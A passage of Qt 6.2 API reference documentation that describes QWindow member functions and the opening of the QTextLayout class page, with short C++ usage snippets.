[QMargins](qmargins) QWindow::frameMargins() const

 Returns the window frame margins surrounding the window.

 **See also** [geometry](qwindow#geometry)() and [frameGeometry](qwindow#frameGeometry)().

 ### 
[QPoint](qpoint) QWindow::framePosition() const

 Returns the top left position of the window, including its window frame.

 This returns the same value as [frameGeometry](qwindow#frameGeometry)().topLeft().

 **See also** [setFramePosition](qwindow#setFramePosition)(), [geometry](qwindow#geometry)(), and [frameGeometry](qwindow#frameGeometry)().

 ### 
`[static]` [QWindow](qwindow#QWindow) \*QWindow::fromWinId(WId *id*)

 Creates a local representation of a window created by another process or by using native libraries below Qt.

 Given the handle *id* to a native window, this method creates a [QWindow](qwindow) object which can be used to represent the window when invoking methods like [setParent](qwindow#setParent)() and [setTransientParent](qwindow#transientParent-prop)().

 This can be used, on platforms which support it, to embed a [QWindow](qwindow) inside a native window, or to embed a native window inside a [QWindow](qwindow).

 If foreign windows are not supported or embedding the native window failed in the platform plugin, this function returns `nullptr`.

  **Note:** The resulting [QWindow](qwindow) should not be used to manipulate the underlying native window (besides re-parenting), or to observe state changes of the native window. Any support for these kind of operations is incidental, highly platform dependent and untested.

  **See also** [setParent](qwindow#setParent)().

 ### 
[QRect](qrect) QWindow::geometry() const

 Returns the geometry of the window, excluding its window frame.

 The geometry is in relation to the virtualGeometry() of its screen.

 **See also** [setGeometry](qwindow#setGeometry)(), [frameMargins](qwindow#frameMargins)(), and [frameGeometry](qwindow#frameGeometry)().

 ### 
`[virtual protected]` void QWindow::hideEvent([QHideEvent](qhideevent) \**ev*)

 Override this to handle hide events (*ev*).

 The function is called when the window has requested being hidden in the windowing system.

 ### 
[QIcon](qicon) QWindow::icon() const

 Returns the window's icon in the windowing system

 **See also** [setIcon](qwindow#setIcon)().

 ### 
bool QWindow::isActive() const

 Returns `true` if the window is active.

 This is the case for the window that has input focus as well as windows that are in the same parent / transient parent chain as the focus window.

 Typically active windows should appear active from a style perspective.

 To get the window that currently has focus, use [QGuiApplication::focusWindow](qguiapplication#focusWindow)().

 **Note:** Getter function for property [active](qwindow#active-prop). 

 ### 
bool QWindow::isAncestorOf(const [QWindow](qwindow#QWindow) \**child*, [QWindow::AncestorMode](qwindow#AncestorMode-enum) *mode* = IncludeTransients) const

 Returns `true` if the window is an ancestor of the given *child*. If *mode* is [IncludeTransients](qwindow#AncestorMode-enum), then transient parents are also considered ancestors.

 ### 
bool QWindow::isExposed() const

 Returns if this window is exposed in the windowing system.

 When the window is not exposed, it is shown by the application but it is still not showing in the windowing system, so the application should minimize animations and other graphical activities.

 An [exposeEvent](qwindow#exposeEvent)() is sent every time this value changes.

 **See also** [exposeEvent](qwindow#exposeEvent)().

 ### 
bool QWindow::isModal() const

 Returns whether the window is modal.

 A modal window prevents other windows from getting any input.

 **See also** [QWindow::modality](qwindow#modality-prop).

 ### 
bool QWindow::isTopLevel() const

 Returns whether the window is top level, i.e. has no parent window.

 ### 
`[virtual protected]` void QWindow::keyPressEvent([QKeyEvent](qkeyevent) \**ev*)

 Override this to handle key press events (*ev*).

 **See also** [keyReleaseEvent](qwindow#keyReleaseEvent)().

 ### 
`[virtual protected]` void QWindow::keyReleaseEvent([QKeyEvent](qkeyevent) \**ev*)

 Override this to handle key release events (*ev*).

 **See also** [keyPressEvent](qwindow#keyPressEvent)().

 ### 
`[since 6.0]` [QPointF](qpointf) QWindow::mapFromGlobal(const [QPointF](qpointf) &*pos*) const

 Translates the global screen coordinate *pos* to window coordinates.

 This function was introduced in Qt 6.0.

 **See also** [mapToGlobal](qwindow#mapToGlobal)().

 ### 
[QPoint](qpoint) QWindow::mapFromGlobal(const [QPoint](qpoint) &*pos*) const

 This is an overloaded function.

 ### 
`[since 6.0]` [QPointF](qpointf) QWindow::mapToGlobal(const [QPointF](qpointf) &*pos*) const

 Translates the window coordinate *pos* to global screen coordinates. For example, `mapToGlobal(QPointF(0,0))` would give the global coordinates of the top-left pixel of the window.

 This function was introduced in Qt 6.0.

 **See also** [mapFromGlobal](qwindow#mapFromGlobal)().

 ### 
[QPoint](qpoint) QWindow::mapToGlobal(const [QPoint](qpoint) &*pos*) const

 This is an overloaded function.

 ### 
[QRegion](qregion) QWindow::mask() const

 Returns the mask set on the window.

 The mask is a hint to the windowing system that the application does not want to receive mouse or touch input outside the given region.

 **See also** [setMask](qwindow#setMask)().

 ### 
[QSize](qsize) QWindow::maximumSize() const

 Returns the maximum size of the window.

 **See also** [setMaximumSize](qwindow#setMaximumSize)().

 ### 
[QSize](qsize) QWindow::minimumSize() const

 Returns the minimum size of the window.

 **See also** [setMinimumSize](qwindow#setMinimumSize)().

 ### 
`[virtual protected]` void QWindow::mouseDoubleClickEvent([QMouseEvent](qmouseevent) \**ev*)

 Override this to handle mouse double click events (*ev*).

 **See also** [mousePressEvent](qwindow#mousePressEvent)() and [QStyleHints::mouseDoubleClickInterval](qstylehints#mouseDoubleClickInterval-prop)().

 ### 
`[virtual protected]` void QWindow::mouseMoveEvent([QMouseEvent](qmouseevent) \**ev*)

 Override this to handle mouse move events (*ev*).

 ### 
`[virtual protected]` void QWindow::mousePressEvent([QMouseEvent](qmouseevent) \**ev*)

 Override this to handle mouse press events (*ev*).

 **See also** [mouseReleaseEvent](qwindow#mouseReleaseEvent)().

 ### 
`[virtual protected]` void QWindow::mouseReleaseEvent([QMouseEvent](qmouseevent) \**ev*)

 Override this to handle mouse release events (*ev*).

 **See also** [mousePressEvent](qwindow#mousePressEvent)().

 ### 
`[virtual protected]` void QWindow::moveEvent([QMoveEvent](qmoveevent) \**ev*)

 Override this to handle window move events (*ev*).

 ### 
`[virtual protected]` bool QWindow::nativeEvent(const [QByteArray](qbytearray) &*eventType*, void \**message*, [qintptr](qtglobal#qintptr-typedef) \**result*)

 Override this to handle platform dependent events. Will be given *eventType*, *message* and *result*.

 This might make your application non-portable.

 Should return true only if the event was handled.

 ### 
`[virtual protected, since 6.0]` void QWindow::paintEvent([QPaintEvent](qpaintevent) \**ev*)

 The paint event (*ev*) is sent by the window system whenever an area of the window needs a repaint, for example when initially showing the window, or due to parts of the window being uncovered by moving another window.

 The application is expected to render into the window in response to the paint event, regardless of the exposed state of the window. For example, a paint event may be sent before the window is exposed, to prepare it for showing to the user.

 This function was introduced in Qt 6.0.

 **See also** [exposeEvent](qwindow#exposeEvent)().

 ### 
`[since 5.9]` [QWindow](qwindow#QWindow) \*QWindow::parent([QWindow::AncestorMode](qwindow#AncestorMode-enum) *mode* = ExcludeTransients) const

 Returns the parent window, if any.

 If *mode* is [IncludeTransients](qwindow#AncestorMode-enum), then the transient parent is returned if there is no parent.

 A window without a parent is known as a top level window.

 This function was introduced in Qt 5.9.

 **See also** [setParent](qwindow#setParent)().

 ### 
[QPoint](qpoint) QWindow::position() const

 Returns the position of the window on the desktop excluding any window frame

 **See also** [setPosition](qwindow#setPosition)().

 ### 
[QSurfaceFormat](qsurfaceformat) QWindow::requestedFormat() const

 Returns the requested surface format of this window.

 If the requested format was not supported by the platform implementation, the requestedFormat will differ from the actual window format.

 This is the value set with [setFormat](qwindow#setFormat)().

 **See also** [setFormat](qwindow#setFormat)() and [format](qwindow#format)().

 ### 
void QWindow::resize(const [QSize](qsize) &*newSize*)

 set the size of the window, excluding any window frame, to *newSize*

 **See also** [size](qwindow#size)() and [geometry](qwindow#geometry)().

 ### 
void QWindow::resize(int *w*, int *h*)

 set the size of the window, excluding any window frame, to a [QSize](qsize) constructed from width *w* and height *h*

 For interactively resizing windows, see [startSystemResize](qwindow#startSystemResize)().

 **See also** [size](qwindow#size)() and [geometry](qwindow#geometry)().

 ### 
`[virtual protected]` void QWindow::resizeEvent([QResizeEvent](qresizeevent) \**ev*)

 Override this to handle resize events (*ev*).

 The resize event is called whenever the window is resized in the windowing system, either directly through the windowing system acknowledging a [setGeometry](qwindow#setGeometry)() or [resize](qwindow#resize)() request, or indirectly through the user resizing the window manually.

 ### 
[QScreen](qscreen) \*QWindow::screen() const

 Returns the screen on which the window is shown, or null if there is none.

 For child windows, this returns the screen of the corresponding top level window.

 **See also** [setScreen](qwindow#setScreen)() and [QScreen::virtualSiblings](qscreen#virtualSiblings)().

 ### 
void QWindow::setBaseSize(const [QSize](qsize) &*size*)

 Sets the base *size* of the window.

 The base size is used to calculate a proper window size if the window defines [sizeIncrement](qwindow#sizeIncrement)().

 **See also** [setMinimumSize](qwindow#setMinimumSize)(), [setMaximumSize](qwindow#setMaximumSize)(), [setSizeIncrement](qwindow#setSizeIncrement)(), and [baseSize](qwindow#baseSize)().

 ### 
void QWindow::setCursor(const [QCursor](qcursor) &*cursor*)

 set the cursor shape for this window

 The mouse *cursor* will assume this shape when it is over this window, unless an override cursor is set. See the [list of predefined cursor objects](qt#CursorShape-enum) for a range of useful shapes.

 If no cursor has been set, or after a call to [unsetCursor](qwindow#unsetCursor)(), the parent window's cursor is used.

 By default, the cursor has the [Qt::ArrowCursor](qt#CursorShape-enum) shape.

 Some underlying window implementations will reset the cursor if it leaves a window even if the mouse is grabbed. If you want to have a cursor set for all windows, even when outside the window, consider [QGuiApplication::setOverrideCursor](qguiapplication#setOverrideCursor)().

 **See also** [cursor](qwindow#cursor)() and [QGuiApplication::setOverrideCursor](qguiapplication#setOverrideCursor)().

 ### 
void QWindow::setFilePath(const [QString](qstring) &*filePath*)

 set the file name this window is representing.

 The windowing system might use *filePath* to display the path of the document this window is representing in the tile bar.

 **See also** [filePath](qwindow#filePath)().

 ### 
`[since 5.9]` void QWindow::setFlag([Qt::WindowType](qt#WindowType-enum) *flag*, bool *on* = true)

 Sets the window flag *flag* on this window if *on* is true; otherwise clears the flag.

 This function was introduced in Qt 5.9.

 **See also** [setFlags](qwindow#flags-prop)(), [flags](qwindow#flags-prop)(), and [type](qwindow#type)().

 ### 
void QWindow::setFormat(const [QSurfaceFormat](qsurfaceformat) &*format*)

 Sets the window's surface *format*.

 The format determines properties such as color depth, alpha, depth and stencil buffer size, etc. For example, to give a window a transparent background (provided that the window system supports compositing, and provided that other content in the window does not make it opaque again):

 
```
QSurfaceFormat format;
format.setAlphaBufferSize(8);
window.setFormat(format);
```
 The surface format will be resolved in the [create](qwindow#create)() function. Calling this function after [create](qwindow#create)() has been called will not re-resolve the surface format of the native surface.

 When the format is not explicitly set via this function, the format returned by [QSurfaceFormat::defaultFormat](qsurfaceformat#defaultFormat)() will be used. This means that when having multiple windows, individual calls to this function can be replaced by one single call to [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)() before creating the first window.

 **See also** [format](qwindow#format)(), [create](qwindow#create)(), [destroy](qwindow#destroy)(), and [QSurfaceFormat::setDefaultFormat](qsurfaceformat#setDefaultFormat)().

 ### 
void QWindow::setFramePosition(const [QPoint](qpoint) &*point*)

 Sets the upper left position of the window (*point*) including its window frame.

 The position is in relation to the virtualGeometry() of its screen.

 **See also** [framePosition](qwindow#framePosition)(), [setGeometry](qwindow#setGeometry)(), and [frameGeometry](qwindow#frameGeometry)().

 ### 
void QWindow::setIcon(const [QIcon](qicon) &*icon*)

 Sets the window's *icon* in the windowing system

 The window icon might be used by the windowing system for example to decorate the window, and/or in the task switcher.

  **Note:** On macOS, the window title bar icon is meant for windows representing documents, and will only show up if a file path is also set.

  **See also** [icon](qwindow#icon)() and [setFilePath](qwindow#setFilePath)().

 ### 
bool QWindow::setKeyboardGrabEnabled(bool *grab*)

 Sets whether keyboard grab should be enabled or not (*grab*).

 If the return value is true, the window receives all key events until setKeyboardGrabEnabled(false) is called; other windows get no key events at all. Mouse events are not affected. Use [setMouseGrabEnabled](qwindow#setMouseGrabEnabled)() if you want to grab that.

 **See also** [setMouseGrabEnabled](qwindow#setMouseGrabEnabled)().

 ### 
void QWindow::setMask(const [QRegion](qregion) &*region*)

 Sets the mask of the window.

 The mask is a hint to the windowing system that the application does not want to receive mouse or touch input outside the given *region*.

 The window manager may or may not choose to display any areas of the window not included in the mask, thus it is the application's responsibility to clear to transparent the areas that are not part of the mask.

 **See also** [mask](qwindow#mask)().

 ### 
void QWindow::setMaximumSize(const [QSize](qsize) &*size*)

 Sets the maximum size of the window.

 This is a hint to the window manager to prevent resizing above the specified *size*.

 **See also** [setMinimumSize](qwindow#setMinimumSize)() and [maximumSize](qwindow#maximumSize)().

 ### 
void QWindow::setMinimumSize(const [QSize](qsize) &*size*)

 Sets the minimum size of the window.

 This is a hint to the window manager to prevent resizing below the specified *size*.

 **See also** [setMaximumSize](qwindow#setMaximumSize)() and [minimumSize](qwindow#minimumSize)().

 ### 
bool QWindow::setMouseGrabEnabled(bool *grab*)

 Sets whether mouse grab should be enabled or not (*grab*).

 If the return value is true, the window receives all mouse events until setMouseGrabEnabled(false) is called; other windows get no mouse events at all. Keyboard events are not affected. Use [setKeyboardGrabEnabled](qwindow#setKeyboardGrabEnabled)() if you want to grab that.

 **See also** [setKeyboardGrabEnabled](qwindow#setKeyboardGrabEnabled)().

 ### 
void QWindow::setParent([QWindow](qwindow#QWindow) \**parent*)

 Sets the *parent* Window. This will lead to the windowing system managing the clip of the window, so it will be clipped to the *parent* window.

 Setting *parent* to be `nullptr` will make the window become a top level window.

 If *parent* is a window created by [fromWinId](qwindow#fromWinId)(), then the current window will be embedded inside *parent*, if the platform supports it.

 **See also** [parent](qwindow#parent)().

 ### 
void QWindow::setPosition(const [QPoint](qpoint) &*pt*)

 set the position of the window on the desktop to *pt*

 The position is in relation to the virtualGeometry() of its screen.

 For interactively moving windows, see [startSystemMove](qwindow#startSystemMove)(). For interactively resizing windows, see [startSystemResize](qwindow#startSystemResize)().

 **See also** [position](qwindow#position)() and [startSystemMove](qwindow#startSystemMove)().

 ### 
void QWindow::setPosition(int *posx*, int *posy*)

 set the position of the window on the desktop to *posx*, *posy*

 The position is in relation to the virtualGeometry() of its screen.

 **See also** [position](qwindow#position)().

 ### 
void QWindow::setScreen([QScreen](qscreen) \**newScreen*)

 Sets the screen on which the window should be shown.

 If the window has been created, it will be recreated on the *newScreen*.

  **Note:** If the screen is part of a virtual desktop of multiple screens, the window will not move automatically to *newScreen*. To place the window relative to the screen, use the screen's topLeft() position.

  This function only works for top level windows.

 **See also** [screen](qwindow#screen)() and [QScreen::virtualSiblings](qscreen#virtualSiblings)().

 ### 
void QWindow::setSizeIncrement(const [QSize](qsize) &*size*)

 Sets the size increment (*size*) of the window.

 When the user resizes the window, the size will move in steps of [sizeIncrement](qwindow#sizeIncrement)().[width](qwindow#width-prop)() pixels horizontally and [sizeIncrement](qwindow#sizeIncrement)().[height](qwindow#height-prop)() pixels vertically, with [baseSize](qwindow#baseSize)() as the basis.

 By default, this property contains a size with zero width and height.

 The windowing system might not support size increments.

 **See also** [sizeIncrement](qwindow#sizeIncrement)(), [setBaseSize](qwindow#setBaseSize)(), [setMinimumSize](qwindow#setMinimumSize)(), and [setMaximumSize](qwindow#setMaximumSize)().

 ### 
void QWindow::setSurfaceType([QSurface::SurfaceType](qsurface#SurfaceType-enum) *surfaceType*)

 Sets the *surfaceType* of the window.

 Specifies whether the window is meant for raster rendering with [QBackingStore](qbackingstore), or OpenGL rendering with [QOpenGLContext](qopenglcontext).

 The [surfaceType](qwindow#surfaceType) will be used when the native surface is created in the [create](qwindow#create)() function. Calling this function after the native surface has been created requires calling [destroy](qwindow#destroy)() and [create](qwindow#create)() to release the old native surface and create a new one.

 **See also** [surfaceType](qwindow#surfaceType)(), [QBackingStore](qbackingstore), [QOpenGLContext](qopenglcontext), [create](qwindow#create)(), and [destroy](qwindow#destroy)().

 ### 
void QWindow::setVulkanInstance([QVulkanInstance](qvulkaninstance) \**instance*)

 Associates this window with the specified Vulkan *instance*.

 *instance* must stay valid as long as this [QWindow](qwindow) instance exists.

 **See also** [vulkanInstance](qwindow#vulkanInstance)().

 ### 
void QWindow::setWindowState([Qt::WindowState](qt#WindowState-enum) *state*)

 set the screen-occupation state of the window

 The window *state* represents whether the window appears in the windowing system as maximized, minimized, fullscreen, or normal.

 The enum value [Qt::WindowActive](qt#WindowState-enum) is not an accepted parameter.

 **See also** [windowState](qwindow#windowState)(), [showNormal](qwindow#showNormal)(), [showFullScreen](qwindow#showFullScreen)(), [showMinimized](qwindow#showMinimized)(), [showMaximized](qwindow#showMaximized)(), and [setWindowStates](qwindow#setWindowStates)().

 ### 
`[since 5.10]` void QWindow::setWindowStates([Qt::WindowStates](qt#WindowState-enum) *state*)

 set the screen-occupation state of the window

 The window *state* represents whether the window appears in the windowing system as maximized, minimized and/or fullscreen.

 The window can be in a combination of several states. For example, if the window is both minimized and maximized, the window will appear minimized, but clicking on the task bar entry will restore it to the maximized state.

 The enum value [Qt::WindowActive](qt#WindowState-enum) should not be set.

 This function was introduced in Qt 5.10.

 **See also** [windowStates](qwindow#windowStates)(), [showNormal](qwindow#showNormal)(), [showFullScreen](qwindow#showFullScreen)(), [showMinimized](qwindow#showMinimized)(), and [showMaximized](qwindow#showMaximized)().

 ### 
`[virtual protected]` void QWindow::showEvent([QShowEvent](qshowevent) \**ev*)

 Override this to handle show events (*ev*).

 The function is called when the window has requested becoming visible.

 If the window is successfully shown by the windowing system, this will be followed by a resize and an expose event.

 ### 
`[override virtual]` [QSize](qsize) QWindow::size() const

 Reimplements: [QSurface::size() const](qsurface#size).

 Returns the size of the window excluding any window frame

 **See also** [resize](qwindow#resize)().

 ### 
[QSize](qsize) QWindow::sizeIncrement() const

 Returns the size increment of the window.

 **See also** [setSizeIncrement](qwindow#setSizeIncrement)().

 ### 
`[override virtual]` [QSurface::SurfaceType](qsurface#SurfaceType-enum) QWindow::surfaceType() const

 Reimplements: [QSurface::surfaceType() const](qsurface#surfaceType).

 Returns the surface type of the window.

 **See also** [setSurfaceType](qwindow#setSurfaceType)().

 ### 
`[virtual protected]` void QWindow::tabletEvent([QTabletEvent](qtabletevent) \**ev*)

 Override this to handle tablet press, move, and release events (*ev*).

 Proximity enter and leave events are not sent to windows, they are delivered to the application instance.

 ### 
`[virtual protected]` void QWindow::touchEvent([QTouchEvent](qtouchevent) \**ev*)

 Override this to handle touch events (*ev*).

 ### 
[Qt::WindowType](qt#WindowType-enum) QWindow::type() const

 Returns the type of the window.

 This returns the part of the window flags that represents whether the window is a dialog, tooltip, popup, regular window, etc.

 **See also** [flags](qwindow#flags-prop)() and [setFlags](qwindow#flags-prop)().

 ### 
void QWindow::unsetCursor()

 Restores the default arrow cursor for this window.

 ### 
[QVulkanInstance](qvulkaninstance) \*QWindow::vulkanInstance() const

 Returns the associated Vulkan instance if any was set, otherwise `nullptr`.

 **See also** [setVulkanInstance](qwindow#setVulkanInstance)().

 ### 
`[virtual protected]` void QWindow::wheelEvent([QWheelEvent](qwheelevent) \**ev*)

 Override this to handle mouse wheel or other wheel events (*ev*).

 ### 
WId QWindow::winId() const

 Returns the window's platform id.

 For platforms where this id might be useful, the value returned will uniquely represent the window inside the corresponding screen.

 **See also** [screen](qwindow#screen)().

 ### 
[Qt::WindowState](qt#WindowState-enum) QWindow::windowState() const

 the screen-occupation state of the window

 **See also** [setWindowState](qwindow#setWindowState)() and [windowStates](qwindow#windowStates)().

 ### 
`[since 5.10]` [Qt::WindowStates](qt#WindowState-enum) QWindow::windowStates() const

 the screen-occupation state of the window

 The window can be in a combination of several states. For example, if the window is both minimized and maximized, the window will appear minimized, but clicking on the task bar entry will restore it to the maximized state.

 This function was introduced in Qt 5.10.

 **See also** [setWindowStates](qwindow#setWindowStates)().



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qwindow.html>

QTextLayout Class
=================

 The QTextLayout class is used to lay out and render text. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QTextLayout> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qtextlayout-members.html)

 **Note:** All functions in this class are [reentrant](threads-reentrancy).

 Public Types
------------

 

|  |  |
| --- | --- |
|  struct  | **[FormatRange](qtextlayout-formatrange)** |
|  enum  | **[CursorMode](qtextlayout#CursorMode-enum)** { SkipCharacters, SkipWords } |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QTextLayout](qtextlayout#QTextLayout-2)**(const QString &*text*, const QFont &*font*, const QPaintDevice \**paintdevice* = nullptr) |
|  | **[QTextLayout](qtextlayout#QTextLayout-1)**(const QString &*text*) |
|  | **[QTextLayout](qtextlayout#QTextLayout)**() |
|  | **[~QTextLayout](qtextlayout#dtor.QTextLayout)**() |
|  void  | **[beginLayout](qtextlayout#beginLayout)**() |
|  QRectF  | **[boundingRect](qtextlayout#boundingRect)**() const |
|  bool  | **[cacheEnabled](qtextlayout#cacheEnabled)**() const |
|  void  | **[clearFormats](qtextlayout#clearFormats)**() |
|  void  | **[clearLayout](qtextlayout#clearLayout)**() |
|  QTextLine  | **[createLine](qtextlayout#createLine)**() |
|  Qt::CursorMoveStyle  | **[cursorMoveStyle](qtextlayout#cursorMoveStyle)**() const |
|  void  | **[draw](qtextlayout#draw)**(QPainter \**p*, const QPointF &*pos*, const QList<QTextLayout::FormatRange> &*selections* = QList<FormatRange>(), const QRectF &*clip* = QRectF()) const |
|  void  | **[drawCursor](qtextlayout#drawCursor)**(QPainter \**painter*, const QPointF &*position*, int *cursorPosition*, int *width*) const |
|  void  | **[drawCursor](qtextlayout#drawCursor-1)**(QPainter \**painter*, const QPointF &*position*, int *cursorPosition*) const |
|  void  | **[endLayout](qtextlayout#endLayout)**() |
|  QFont  | **[font](qtextlayout#font)**() const |
|  QList<QTextLayout::FormatRange>  | **[formats](qtextlayout#formats)**() const |
|  QList<QGlyphRun>  | **[glyphRuns](qtextlayout#glyphRuns)**(int *from* = -1, int *length* = -1) const |
|  bool  | **[isValidCursorPosition](qtextlayout#isValidCursorPosition)**(int *pos*) const |
|  int  | **[leftCursorPosition](qtextlayout#leftCursorPosition)**(int *oldPos*) const |
|  QTextLine  | **[lineAt](qtextlayout#lineAt)**(int *i*) const |
|  int  | **[lineCount](qtextlayout#lineCount)**() const |
|  QTextLine  | **[lineForTextPosition](qtextlayout#lineForTextPosition)**(int *pos*) const |
|  qreal  | **[maximumWidth](qtextlayout#maximumWidth)**() const |
|  qreal  | **[minimumWidth](qtextlayout#minimumWidth)**() const |
|  int  | **[nextCursorPosition](qtextlayout#nextCursorPosition)**(int *oldPos*, QTextLayout::CursorMode *mode* = SkipCharacters) const |
|  QPointF  | **[position](qtextlayout#position)**() const |
|  int  | **[preeditAreaPosition](qtextlayout#preeditAreaPosition)**() const |
|  QString  | **[preeditAreaText](qtextlayout#preeditAreaText)**() const |
|  int  | **[previousCursorPosition](qtextlayout#previousCursorPosition)**(int *oldPos*, QTextLayout::CursorMode *mode* = SkipCharacters) const |
|  int  | **[rightCursorPosition](qtextlayout#rightCursorPosition)**(int *oldPos*) const |
|  void  | **[setCacheEnabled](qtextlayout#setCacheEnabled)**(bool *enable*) |
|  void  | **[setCursorMoveStyle](qtextlayout#setCursorMoveStyle)**(Qt::CursorMoveStyle *style*) |
|  void  | **[setFont](qtextlayout#setFont)**(const QFont &*font*) |
|  void  | **[setFormats](qtextlayout#setFormats)**(const QList<QTextLayout::FormatRange> &*formats*) |
|  void  | **[setPosition](qtextlayout#setPosition)**(const QPointF &*p*) |
|  void  | **[setPreeditArea](qtextlayout#setPreeditArea)**(int *position*, const QString &*text*) |
|  void  | **[setText](qtextlayout#setText)**(const QString &*string*) |
|  void  | **[setTextOption](qtextlayout#setTextOption)**(const QTextOption &*option*) |
|  QString  | **[text](qtextlayout#text)**() const |
|  const QTextOption & | **[textOption](qtextlayout#textOption)**() const |

 Detailed Description
--------------------

 It offers many features expected from a modern text layout engine, including Unicode compliant rendering, line breaking and handling of cursor positioning. It can also produce and render device independent layout, something that is important for WYSIWYG applications.

 The class has a rather low level API and unless you intend to implement your own text rendering for some specialized widget, you probably won't need to use it directly.

 QTextLayout can be used with both plain and rich text.

 QTextLayout can be used to create a sequence of [QTextLine](qtextline) instances with given widths and can position them independently on the screen. Once the layout is done, these lines can be drawn on a paint device.

 The text to be laid out can be provided in the constructor or set with [setText](qtextlayout#setText)().

 The layout can be seen as a sequence of [QTextLine](qtextline) objects; use [createLine](qtextlayout#createLine)() to create a [QTextLine](qtextline) instance, and [lineAt](qtextlayout#lineAt)() or [lineForTextPosition](qtextlayout#lineForTextPosition)() to retrieve created lines.

 Here is a code snippet that demonstrates the layout phase:

 
```
int leading = fontMetrics.leading();
qreal height = 0;
textLayout.setCacheEnabled(true);
textLayout.beginLayout();
while (1) {
    QTextLine line = textLayout.createLine();
    if (!line.isValid())
        break;

    line.setLineWidth(lineWidth);
    height += leading;
    line.setPosition(QPointF(0, height));
    height += line.height();
}
textLayout.endLayout();
```
 The text can then be rendered by calling the layout's [draw](qtextlayout#draw)() function:

 
```
QPainter painter(this);
textLayout.draw(&painter, QPoint(0, 0));
```
 For a given position in the text you can find a valid cursor position with [isValidCursorPosition](qtextlayout#isValidCursorPosition)(), [nextCursorPosition](qtextlayout#nextCursorPosition)(), and [previousCursorPosition](qtextlayout#previousCursorPosition)().

 The QTextLayout itself can be positioned with [setPosition](qtextlayout#setPosition)(); it has a [boundingRect](qtextlayout#boundingRect)(), and a [minimumWidth](qtextlayout#minimumWidth)() and a [maximumWidth](qtextlayout#maximumWidth)().

 **See also** [QStaticText](qstatictext).

 Member Type Documentation
-------------------------

 ### enum QTextLayout::CursorMode

 

| Constant | Value |
| --- | --- |
| `QTextLayout::SkipCharacters` | `0` |
| `QTextLayout::SkipWords` | `1` |

 Member Function Documentation
-----------------------------

 ### 
`[since 5.13]` QTextLayout::QTextLayout(const [QString](qstring) &*text*, const [QFont](qfont) &*font*, const [QPaintDevice](qpaintdevice) \**paintdevice* = nullptr)

 Constructs a text layout to lay out the given *text* with the specified *font*.

 All the metric and layout calculations will be done in terms of the paint device, *paintdevice*. If *paintdevice* is `nullptr` the calculations will be done in screen metrics.

 This function was introduced in Qt 5.13.

 ### QTextLayout::QTextLayout(const [QString](qstring) &*text*)

 Constructs a text layout to lay out the given *text*.

 ### QTextLayout::QTextLayout()

 Constructs an empty text layout.

 **See also** [setText](qtextlayout#setText)().

 ### QTextLayout::~QTextLayout()

 Destructs the layout.

 ### 
void QTextLayout::beginLayout()

 Begins the layout process.

  **Warning:** This will invalidate the layout, so all existing [QTextLine](qtextline) objects that refer to the previous contents should now be discarded.

  **See also** [endLayout](qtextlayout#endLayout)().

 ### 
[QRectF](qrectf) QTextLayout::boundingRect() const

 The smallest rectangle that contains all the lines in the layout.

 ### 
bool QTextLayout::cacheEnabled() const

 Returns `true` if the complete layout information is cached; otherwise returns `false`.

 **See also** [setCacheEnabled](qtextlayout#setCacheEnabled)().

 ### 
`[since 5.6]` void QTextLayout::clearFormats()

 Clears the list of additional formats supported by the text layout.

 This function was introduced in Qt 5.6.

 **See also** [formats](qtextlayout#formats)() and [setFormats](qtextlayout#setFormats)().

 ### 
void QTextLayout::clearLayout()

 Clears the line information in the layout. After having called this function, [lineCount](qtextlayout#lineCount)() returns 0.

  **Warning:** This will invalidate the layout, so all existing [QTextLine](qtextline) objects that refer to the previous contents should now be discarded.

  ### 
[QTextLine](qtextline) QTextLayout::createLine()

 Returns a new text line to be laid out if there is text to be inserted into the layout; otherwise returns an invalid text line.

 The text layout creates a new line object that starts after the last line in the layout, or at the beginning if the layout is empty. The layout maintains an internal cursor, and each line is filled with text from the cursor position onwards when the [QTextLine::setLineWidth](qtextline#setLineWidth)() function is called.

 Once [QTextLine::setLineWidth](qtextline#setLineWidth)() is called, a new line can be created and filled with text. Repeating this process will lay out the whole block of text contained in the [QTextLayout](qtextlayout). If there is no text left to be inserted into the layout, the [QTextLine](qtextline) returned will not be valid (isValid() will return false).

 ### 
[Qt::CursorMoveStyle](qt#CursorMoveStyle-enum) QTextLayout::cursorMoveStyle() const

 The cursor movement style of this [QTextLayout](qtextlayout). The default is [Qt::LogicalMoveStyle](qt#CursorMoveStyle-enum).

 **See also** [setCursorMoveStyle](qtextlayout#setCursorMoveStyle)().

 ### 
void QTextLayout::draw([QPainter](qpainter) \**p*, const [QPointF](qpointf) &*pos*, const [QList](qlist)<[QTextLayout::FormatRange](qtextlayout-formatrange)> &*selections* = QList<FormatRange>(), const [QRectF](qrectf) &*clip* = QRectF()) const

 Draws the whole layout on the painter *p* at the position specified by *pos*. The rendered layout includes the given *selections* and is clipped within the rectangle specified by *clip*.

 ### 
void QTextLayout::drawCursor([QPainter](qpainter) \**painter*, const [QPointF](qpointf) &*position*, int *cursorPosition*, int *width*) const

 Draws a text cursor with the current pen and the specified *width* at the given *position* using the *painter* specified. The corresponding position within the text is specified by *cursorPosition*.

 ### 
void QTextLayout::drawCursor([QPainter](qpainter) \**painter*, const [QPointF](qpointf) &*position*, int *cursorPosition*) const

 This is an overloaded function.

 Draws a text cursor with the current pen at the given *position* using the *painter* specified. The corresponding position within the text is specified by *cursorPosition*.

 ### 
void QTextLayout::endLayout()

 Ends the layout process.

 **See also** [beginLayout](qtextlayout#beginLayout)().

 ### 
[QFont](qfont) QTextLayout::font() const

 Returns the current font that is used for the layout, or a default font if none is set.

 **See also** [setFont](qtextlayout#setFont)().

 ### 
`[since 5.6]` [QList](qlist)<[QTextLayout::FormatRange](qtextlayout-formatrange)> QTextLayout::formats() const

 Returns the list of additional formats supported by the text layout.

 This function was introduced in Qt 5.6.

 **See also** [setFormats](qtextlayout#setFormats)() and [clearFormats](qtextlayout#clearFormats)().

 ### 
[QList](qlist)<[QGlyphRun](https://doc.qt.io/qt-6.2/qglyphrun.html)> QTextLayout::glyphRuns(int *from* = -1, int *length* = -1) const

